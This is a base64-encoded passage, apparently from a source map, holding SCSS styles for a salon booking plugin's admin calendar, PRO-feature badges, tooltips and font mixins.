gY29udGVudDogJyc7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgd2lkdGg6IDEwcHg7XG4gIGhlaWdodDogMTBweDtcbiAgbWFyZ2luLWxlZnQ6IDhweDtcbiAgYm9yZGVyLXJhZGl1czogNTAlO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjYjBiNWJmO1xuICBvcGFjaXR5OiAwLjQ1O1xuICB0cmFuc2l0aW9uOiBvcGFjaXR5IDEyMG1zIGVhc2U7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgdG9wOiAycHg7XG59XG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIC5jdXJyZW50LXZpZXctLXRpdGxlLnNsbi1ib3gtLWxvYWRpbmc6YWZ0ZXIge1xuICBvcGFjaXR5OiAxO1xuICBhbmltYXRpb246IHNsbi1jYWxlbmRhci1wdWxzZSAycyBlYXNlLWluLW91dCBpbmZpbml0ZTtcbiAgYm94LXNoYWRvdzogMCAwIDAgMCByZ2JhKDAsIDAsIDAsIDAuMTIpO1xufVxuXG4uZ2VuZXJhdGUtb25lc2lnbmFsLWFwcC0td3JhcHBlciB7XG4gIHRleHQtYWxpZ246IHJpZ2h0O1xufVxuXG4uZ2VuZXJhdGUtb25lc2lnbmFsLWFwcCB7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgbGluZS1oZWlnaHQ6IDI7XG59XG4vKiBGSVggMDkyMDIzXG4uZ2VuZXJhdGUtb25lc2lnbmFsLWFwcDphZnRlciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIGZvbnQ6IG5vcm1hbCAyMHB4LzEgZGFzaGljb25zO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgbWFyZ2luLWxlZnQ6IDZweDtcbiAgICBjb250ZW50OiBcIlxcZjQ2M1wiO1xuICAgIHRvcDogNHB4O1xuICAgIGRpc3BsYXk6IG5vbmU7XG59XG4qL1xuLmdlbmVyYXRlLW9uZXNpZ25hbC1hcHAubG9hZGluZzphZnRlciB7XG4gIGFuaW1hdGlvbjogcm90YXRpb24gMnMgaW5maW5pdGUgbGluZWFyO1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG5cbkBrZXlmcmFtZXMgc2xuLWNhbGVuZGFyLXB1bHNlIHtcbiAgMCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMC44NSk7XG4gICAgb3BhY2l0eTogMC42O1xuICAgIGJhY2tncm91bmQtY29sb3I6ICNiMGI1YmY7XG4gICAgYm94LXNoYWRvdzogMCAwIDAgMCByZ2JhKDQwLCAxNjcsIDY5LCAwLjIpO1xuICB9XG4gIDUwJSB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgIG9wYWNpdHk6IDE7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzJlY2M3MTtcbiAgICBib3gtc2hhZG93OiAwIDAgMCA4cHggcmdiYSg0NiwgMjA0LCAxMTMsIDAuMTUpO1xuICB9XG4gIDEwMCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMC44NSk7XG4gICAgb3BhY2l0eTogMC42O1xuICAgIGJhY2tncm91bmQtY29sb3I6ICNiMGI1YmY7XG4gICAgYm94LXNoYWRvdzogMCAwIDAgMCByZ2JhKDQwLCAxNjcsIDY5LCAwKTtcbiAgfVxufVxuXG4uc2xuLWN1c3RvbWVyLWZpZGVsaXR5LXNjb3JlLWRpc2FibGVkIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xufVxuLy8gbm93IC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcFxuLy8gLnNsbi1jdXN0b21lci1maWRlbGl0eS1zY29yZS1kaXNhYmxlZDpob3ZlciAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyAgIGRpc3BsYXk6IGJsb2NrO1xuLy8gfVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLWN1c3RvbWVyLWZpZGVsaXR5LXNjb3JlLWRpc2FibGVkXG4gIC5zbG4tY3VzdG9tZXItZmlkZWxpdHktc2NvcmUtLWNoZWNrYm94IHtcbiAgY29sb3I6ICNjY2M7XG4gIGN1cnNvcjogbm90LWFsbG93ZWQ7XG4gIG9wYWNpdHk6IDAuNTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1jdXN0b21lci1maWRlbGl0eS1zY29yZS1kaXNhYmxlZFxuICAuc2xuLWN1c3RvbWVyLWZpZGVsaXR5LXNjb3JlLS1jaGVja2JveFxuICBsYWJlbCB7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuLnNhbG9uX3BhZ2Vfc2Fsb24tY2FsZW5kYXJcbiAgLnNsbi1jYWxlbmRhci0td3JhcHBlclxuICAuc2VydmljZS1lbXB0eS1kdXJhdGlvblxuICAuZGF5LWV2ZW50LWl0ZW1fX3NlcnZpY2UsXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIC5zZXJ2aWNlLWVtcHR5LWR1cmF0aW9uIC5kYXktZXZlbnQtaXRlbV9fc2VydmljZSB7XG4gIGRpc3BsYXk6IGlubGluZTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cbi5zYWxvbl9wYWdlX3NhbG9uLWNhbGVuZGFyXG4gIC5zbG4tY2FsZW5kYXItLXdyYXBwZXJcbiAgLnNlcnZpY2UtZW1wdHktZHVyYXRpb25cbiAgLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnRcbiAgLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnRfbmFtZSxcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXJcbiAgLnNlcnZpY2UtZW1wdHktZHVyYXRpb25cbiAgLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnRcbiAgLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnRfbmFtZSB7XG4gIGRpc3BsYXk6IGlubGluZTtcbiAgZmxvYXQ6IG5vbmU7XG59XG5cbi8qIEZJWCAwOTIwMjMgKi9cbiNzbG4tYm9va2luZy1jbG9uZWQtbm90aWNlIHtcbiAgZmxvYXQ6IHJpZ2h0ICFpbXBvcnRhbnQ7XG4gIGZvbnQtc2l6ZTogMWVtO1xuICBtYXJnaW4tdG9wOiAzJTtcbiAgY29sb3I6ICNjYzc4MDE7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIHtcbiAgLnNsbi1pbnB1dC0tc2ltcGxlXG4gICAgaW5wdXQ6bm90KFt0eXBlPSdidXR0b24nXSk6bm90KFt0eXBlPSdyZXNldCddKTpub3QoW3R5cGU9J3N1Ym1pdCddKTpub3QoXG4gICAgICBbdHlwZT0naW1hZ2UnXVxuICAgICkuY2xvbmVkLWRhdGE6Zm9jdXMsXG4gIC5zbG4taW5wdXQtLXNpbXBsZVxuICAgIGlucHV0Om5vdChbdHlwZT0nYnV0dG9uJ10pOm5vdChbdHlwZT0ncmVzZXQnXSk6bm90KFt0eXBlPSdzdWJtaXQnXSk6bm90KFxuICAgICAgW3R5cGU9J2ltYWdlJ11cbiAgICApLmNsb25lZC1kYXRhLFxuICAuc2xuLWlucHV0LS1zaW1wbGVcbiAgICBpbnB1dDpub3QoW3R5cGU9J2J1dHRvbiddKTpub3QoW3R5cGU9J3Jlc2V0J10pOm5vdChbdHlwZT0nc3VibWl0J10pOm5vdChcbiAgICAgIFt0eXBlPSdpbWFnZSddXG4gICAgKS5jbG9uZWQtZGF0YTpmb2N1cyxcbiAgLnNsbi1pbnB1dC0tc2ltcGxlXG4gICAgaW5wdXQ6bm90KFt0eXBlPSdidXR0b24nXSk6bm90KFt0eXBlPSdyZXNldCddKTpub3QoW3R5cGU9J3N1Ym1pdCddKTpub3QoXG4gICAgICBbdHlwZT0naW1hZ2UnXVxuICAgICkuY2xvbmVkLWRhdGEge1xuICAgIGJvcmRlci1jb2xvcjogI2NjNzgwMTtcbiAgfVxufVxuLy8gbm93IC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcFxuLy8gQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbi8vICAgLnNsbi1kdXBsaWNhdGUtYm9va2luZy0tZGlzYWJsZWQ6aG92ZXIgLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAge1xuLy8gICAgIGRpc3BsYXk6IGJsb2NrO1xuLy8gICAgIHRvcDogLTMwcHg7XG4vLyAgICAgcmlnaHQ6IDE2JTtcbi8vICAgfVxuLy8gICAuc2xuLWR1cGxpY2F0ZS1ib29raW5nLS1kaXNhYmxlZDpob3ZlciAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCBhIHtcbi8vICAgICBjb2xvcjogd2hpdGU7XG4vLyAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuLy8gICB9XG4vLyB9XG4vKiBGSVggMDkyMDIzIC8vIEVORCAqL1xuLnNlbGVjdDItcmVzdWx0c19fb3B0aW9uIHtcbiAgc3BhbiBzcGFuIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgbWFyZ2luLXJpZ2h0OiAwLjVlbTtcbiAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAmOmxhc3QtY2hpbGQge1xuICAgICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgIH1cbiAgICAmOmVtcHR5IHtcbiAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgfVxuICAgICY6Zmlyc3QtY2hpbGQ6bm90KDplbXB0eSksXG4gICAgJi5zbG4tc2VsZWN0X193cm4ge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgIH1cbiAgICAmLnNsbi1zZWxlY3RfX3dybiB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgICAgICAgZm9udC1zaXplOiAwLjkycmVtO1xuICAgICAgICBmb250LXdlaWdodDogOTAwO1xuICAgICAgICBvcGFjaXR5OiAwLjg7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG4uZGF5LWV2ZW50LWl0ZW1fX2NhbGVuZGFyLWRheV9faGVhZGVyIC5zbG4tZXZlbnQtaGVhZGVyLW1vcmUtaWNvbiB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG4uc2xuLWV2ZW50LWhlYWRlci1tb3JlLWljb24ge1xuICBtYXJnaW4tbGVmdDogYXV0bztcbiAgY29sb3I6IHdoaXRlO1xufVxuXG4uc2xuLWV2ZW50LWhlYWRlci1tb3JlLWljb24tdmVydGljYWwge1xuICBjb2xvcjogd2hpdGU7XG59XG5cbi5zbG4tZXZlbnQtaGVhZGVyLW1vcmUtaWNvbi12ZXJ0aWNhbDo6YWZ0ZXIge1xuICBmb250LWZhbWlseTogJ01hdGVyaWFsIEljb25zJztcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgY29udGVudDogJ1xcZTVkNCc7XG4gIGZvbnQtc2l6ZTogMjVweDtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICBkaXNwbGF5OiBmbGV4O1xuICBmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG59XG5cbi5zbG4tZXZlbnQtaGVhZGVyLW1vcmUtaWNvbi1ob3Jpem9udGFsIHtcbiAgY29sb3I6IGJsYWNrO1xufVxuXG4uc2xuLWV2ZW50LWhlYWRlci1tb3JlLWljb24taG9yaXpvbnRhbDo6YWZ0ZXIge1xuICBmb250LWZhbWlseTogJ01hdGVyaWFsIEljb25zJztcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgY29udGVudDogJ1xcZTVkMyc7XG4gIGZvbnQtc2l6ZTogMjVweDtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICBkaXNwbGF5OiBmbGV4O1xuICBmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG59XG5cbi5zbG4tZHVwLWljb24tdG9vbHRpcDo6YWZ0ZXIge1xuICBmb250LXNpemU6IDEuNXJlbTtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIGNvbnRlbnQ6ICdcXGYwYzUnO1xuICBmb250LXNpemU6IDEuMnJlbTtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICBjb2xvcjogIzA5NzhiZDtcbn1cblxuLnNsbi1kdXAtY2xvc2UtaWNvbi10b29sdGlwIHtcbiAgY29sb3I6IGdyYXk7XG59XG5cbi5zbG4tZHVwLWNsb3NlLWljb24tdG9vbHRpcDo6YWZ0ZXIge1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICBjdXJzb3I6IGRlZmF1bHQ7XG4gIGZvbnQtc2l6ZTogMS41cmVtO1xuICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgY29udGVudDogJ1xcZjBjNSc7XG4gIGZvbnQtc2l6ZTogMS4ycmVtO1xuICBjb2xvcjogZ3JheTtcbn1cblxuLy8g4pSA4pSA4pSAIFBSTyBiYWRnZTogXCIoYXZhaWxhYmxlIG9uIFBSTyBlZGl0aW9uKSBbY3Jvd25dXCIgYXBwZW5kZWQgdG8gbG9ja2VkIHRpdGxlc1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuICAuc2xuLXByby1iYWRnZSB7XG4gICAgZGlzcGxheTogaW5saW5lLWZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBnYXA6IDVweDtcbiAgICBtYXJnaW4tbGVmdDogMTBweDtcbiAgICBmb250LXNpemU6IDAuNzJlbTtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGNvbG9yOiAjNDE4MGJmO1xuICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuICAgICZfX3RleHQge1xuICAgICAgb3BhY2l0eTogMC45O1xuICAgIH1cblxuICAgICZfX2Nyb3duIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIHdpZHRoOiAyMnB4O1xuICAgICAgaGVpZ2h0OiAyMnB4O1xuICAgICAgZmxleC1zaHJpbms6IDA7XG4gICAgICBiYWNrZ3JvdW5kLXNpemU6IGNvbnRhaW47XG4gICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyO1xuICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICAgIC8vIFNhbWUgY3Jvd24gU1ZHIHVzZWQgaW4gc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uXG4gICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczNScgaGVpZ2h0PSczNScgdmlld0JveD0nMCAwIDM1IDM1JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDY2lyY2xlIGN4PScxNy41JyBjeT0nMTcuNScgcj0nMTcuNScgZmlsbD0nJTIzMUY3RERCJy8lM0UlM0NnIGNsaXAtcGF0aD0ndXJsKCUyM2NsaXAwXzBfMSknJTNFJTNDcGF0aCBmaWxsLXJ1bGU9J2V2ZW5vZGQnIGNsaXAtcnVsZT0nZXZlbm9kZCcgZD0nTTE4LjQzMyAxMC4xOTM1QzE4LjMxMDcgMTAuMDE4OCAxOC4xMTA5IDkuOTE0NzkgMTcuODk3NyA5LjkxNDc5QzE3LjY4NDUgOS45MTQ3OSAxNy40ODQ3IDEwLjAxODggMTcuMzYyNCAxMC4xOTM1TDEzLjIzNTIgMTYuMDg5Nkw5Ljg2NTQ0IDEyLjcxOThDOS42Nzg1NiAxMi41MzI5IDkuMzk3NTIgMTIuNDc3IDkuMTUzMzYgMTIuNTc4MkM4LjkwOTIgMTIuNjc5MyA4Ljc1IDEyLjkxNzYgOC43NSAxMy4xODE4VjIxLjY3NjJDOC43NSAyMi4zNjkzIDkuMDI1MzYgMjMuMDM0MSA5LjUxNTUyIDIzLjUyNDNDMTAuMDA1NyAyNC4wMTQ0IDEwLjY3MDUgMjQuMjg5OCAxMS4zNjM2IDI0LjI4OThIMjQuNDMxOEMyNS4xMjUgMjQuMjg5OCAyNS43ODk3IDI0LjAxNDQgMjYuMjc5OSAyMy41MjQzQzI2Ljc3MDEgMjMuMDM0MSAyNy4wNDU1IDIyLjM2OTMgMjcuMDQ1NSAyMS42NzYyVjEzLjE4MThDMjcuMDQ1NSAxMi45MTc2IDI2Ljg4NjMgMTIuNjc5MyAyNi42NDIgMTIuNTc4MkMyNi4zOTc5IDEyLjQ3NyAyNi4xMTY4IDEyLjUzMjkgMjUuOTMgMTIuNzE5OEwyMi41NjAzIDE2LjA4OTZMMTguNDMzIDEwLjE5MzVaJyBmaWxsPSclMjNGRkMxMTgnLyUzRSUzQy9nJTNFJTNDZGVmcyUzRSUzQ2NsaXBQYXRoIGlkPSdjbGlwMF8wXzEnJTNFJTNDcmVjdCB3aWR0aD0nMTguMjk1NScgaGVpZ2h0PScxOC4yOTU1JyBmaWxsPSd3aGl0ZScgdHJhbnNmb3JtPSd0cmFuc2xhdGUoOC43NSA3Ljk1NDU5KScvJTNFJTNDL2NsaXBQYXRoJTNFJTNDL2RlZnMlM0UlM0Mvc3ZnJTNFXCIpO1xuICAgIH1cbiAgfVxufVxuXG4vLyDilIDilIDilIAgU2V0dGluZ3MgcGFnZTogbG9jayBjb250ZW50IGluc2lkZSBnYXRlZCBwYXltZW50IHNlY3Rpb24gYm94ZXMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAXG4vLyBUaGUgc3RhbmRhcmQgLnNsbi1wcm9mZWF0dXJlX19pbnB1dCBtZWNoYW5pc20gcmVxdWlyZXMgYW4gZXhwbGljaXQgd3JhcHBlciBkaXYuXG4vLyBJbiB0aGUgcGF5bWVudHMgc2V0dGluZ3MsIGNvbnRlbnQgc2l0cyBkaXJlY3RseSBpbnNpZGUgLnNsbi1ib3gg4oCUIHNvIHdlIHRhcmdldFxuLy8gdGhlIGNvbGxhcHNpYmxlIHBhbmVsIGFuZCByb3cgY2hpbGRyZW4gb2YgYW55IGxvY2tlZCBib3ggaW5zdGVhZC5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tcHJvZmVhdHVyZS0tZGlzYWJsZWQuc2xuLWJveCB7XG4gID4gLnNsbi1ib3hfX3BhbmVsY29sbGFwc2UsXG4gID4gLmNvbGxhcHNlLFxuICA+IC5yb3cge1xuICAgIG9wYWNpdHk6IDAuNjtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xuICAgIHVzZXItc2VsZWN0OiBub25lO1xuICB9XG59XG5cbi8vIE1vYmlsZSBQV0EgY2FsZW5kYXIgcHJvbW8gKGZyZWUgKyBQUk8gc2hlbGxzKTogX2FkbWluX2NhbGVuZGFyLnNjc3MgKC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8td3JhcCkuXG5odG1sLnNsbi1oaWRlLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vICNzbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8td3JhcCB7XG4gIGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDtcbn1cbiIsIkB1c2UgXCJjb2xvcnNcIjtcbkB1c2UgXCJjb2xvcnMtbnVcIjtcblxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAvLy8gTUFURVJJQUwgSUNPTlNcbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLy9AaW1wb3J0IFwiaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9pY29uP2ZhbWlseT1NYXRlcmlhbCtJY29uc1wiO1xuXG4vKiBGSVggMDkyMDIzXG5AZm9udC1mYWNlIHtcbiAgZm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcbiAgZm9udC1zdHlsZTogbm9ybWFsO1xuICBmb250LXdlaWdodDogNDAwO1xuICBzcmM6IHVybChodHRwczovL2ZvbnRzLmdzdGF0aWMuY29tL3MvbWF0ZXJpYWxpY29ucy92NDgvZmxVaFJxNnR6WmNsUUVKLVZkZy1JdWlhRHNOY0loUTh0US53b2ZmMilcbiAgICBmb3JtYXQoXCJ3b2ZmMlwiKTtcbn1cbi5tYXRlcmlhbC1pY29ucyB7XG4gIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgZm9udC1zaXplOiAyNHB4O1xuICBsaW5lLWhlaWdodDogMTtcbiAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgd29yZC13cmFwOiBub3JtYWw7XG4gIGRpcmVjdGlvbjogbHRyO1xuICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xufVxuKi9cbi8vIC8vLyBNQVRFUklBTCBJQ09OUyAvLyBFTkRcbkB1c2UgXCJzZXR0aW5ncy1taXhpbnNcIjtcbkBpbXBvcnQgXCJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3BlbitTYW5zOjMwMCw0MDAsNjAwLDcwMFwiO1xuJGZvbnRmYW1pbHktLW1haW46IFwiT3BlbiBTYW5zXCIsIHNhbnMtc2VyaWY7XG4jc2xuLXNhbG9uIHtcblx0Zm9udC1mYW1pbHk6ICRmb250ZmFtaWx5LS1tYWluO1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRoMSxcblx0aDIsXG5cdGgzLFxuXHRoNCxcblx0aDUsXG5cdGg2IHtcblx0XHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRmb250LXN0eWxlOiBub3JtYWw7XG5cdFx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0fVxuXHRwLFxuXHR1bCxcblx0bGkge1xuXHRcdGZvbnQtZmFtaWx5OiAkZm9udGZhbWlseS0tbWFpbjtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdH1cblx0YnV0dG9uLFxuXHRpbnB1dCxcblx0b3B0Z3JvdXAsXG5cdHNlbGVjdCxcblx0dGV4dGFyZWEge1xuXHRcdGZvbnQtZmFtaWx5OiAkZm9udGZhbWlseS0tbWFpbjtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHR9XG5cdGEge1xuXHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdH1cbn1cbi8vIFNJWkVTXG5AbWl4aW4gZm9udC1iaWdnZXIoJGZvbnRTaXplOiBudWxsLCAkbGluSGVpZ2h0OiBudWxsKSB7XG5cdGZvbnQtZmFtaWx5OiAkZm9udGZhbWlseS0tbWFpbjtcblx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0QGlmICgkZm9udFNpemUpIHtcblx0XHQkZm9udFNpemVIYWxmOiBjYWxjKCRmb250U2l6ZSAvIDIpO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemUpO1xuXHRcdGxpbmUtaGVpZ2h0OiBjYWxjKFxuXHRcdFx0I3tzZXR0aW5ncy1taXhpbnMucmVtKCRmb250U2l6ZSl9ICtcblx0XHRcdFx0I3tzZXR0aW5ncy1taXhpbnMucmVtKCRmb250U2l6ZUhhbGYpfVxuXHRcdCk7XG5cdH0gQGVsc2Uge1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0fVxuXHRAaWYgKCRsaW5IZWlnaHQpIHtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgkbGluSGVpZ2h0KTtcblx0fVxufVxuQG1peGluIGZvbnQtYmlnKCRmb250U2l6ZTogbnVsbCwgJGxpbkhlaWdodDogbnVsbCkge1xuXHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0JGZvbnRTaXplSGFsZjogY2FsYygkZm9udFNpemUgLyAyKTtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplKTtcblx0XHRsaW5lLWhlaWdodDogY2FsYyhcblx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemUpfSArXG5cdFx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemVIYWxmKX1cblx0XHQpO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTgpO1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDI3KTtcblx0fVxuXHRAaWYgKCRsaW5IZWlnaHQpIHtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgkbGluSGVpZ2h0KTtcblx0fVxufVxuQG1peGluIGZvbnQtbWVkaXVtKCRmb250U2l6ZTogbnVsbCwgJGxpbkhlaWdodDogbnVsbCkge1xuXHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0JGZvbnRTaXplSGFsZjogY2FsYygkZm9udFNpemUgLyAyKTtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplKTtcblx0XHRsaW5lLWhlaWdodDogY2FsYyhcblx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemUpfSArXG5cdFx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemVIYWxmKX1cblx0XHQpO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTYpO1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDI0KTtcblx0fVxuXHRAaWYgKCRsaW5IZWlnaHQpIHtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgkbGluSGVpZ2h0KTtcblx0fVxufVxuQG1peGluIGZvbnQtc21hbGwoJGZvbnRTaXplOiBudWxsLCAkbGluSGVpZ2h0OiBudWxsKSB7XG5cdGZvbnQtZmFtaWx5OiAkZm9udGZhbWlseS0tbWFpbjtcblx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0QGlmICgkZm9udFNpemUpIHtcblx0XHQkZm9udFNpemVIYWxmOiBjYWxjKCRmb250U2l6ZSAvIDIpO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemUpO1xuXHRcdGxpbmUtaGVpZ2h0OiBjYWxjKFxuXHRcdFx0I3tzZXR0aW5ncy1taXhpbnMucmVtKCRmb250U2l6ZSl9ICtcblx0XHRcdFx0I3tzZXR0aW5ncy1taXhpbnMucmVtKCRmb250U2l6ZUhhbGYpfVxuXHRcdCk7XG5cdH0gQGVsc2Uge1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNCk7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjEpO1xuXHR9XG5cdEBpZiAoJGxpbkhlaWdodCkge1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKCRsaW5IZWlnaHQpO1xuXHR9XG59XG5cbkBtaXhpbiBmb250LWljb24oJGZvbnRTaXplOiBudWxsKSB7XG5cdGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG5cdGZvbnQtd2VpZ2h0OiA5MDA7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0Zm9udC1zaXplOiAkZm9udFNpemU7XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdH0gQGVsc2Uge1xuXHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG59XG5AbWl4a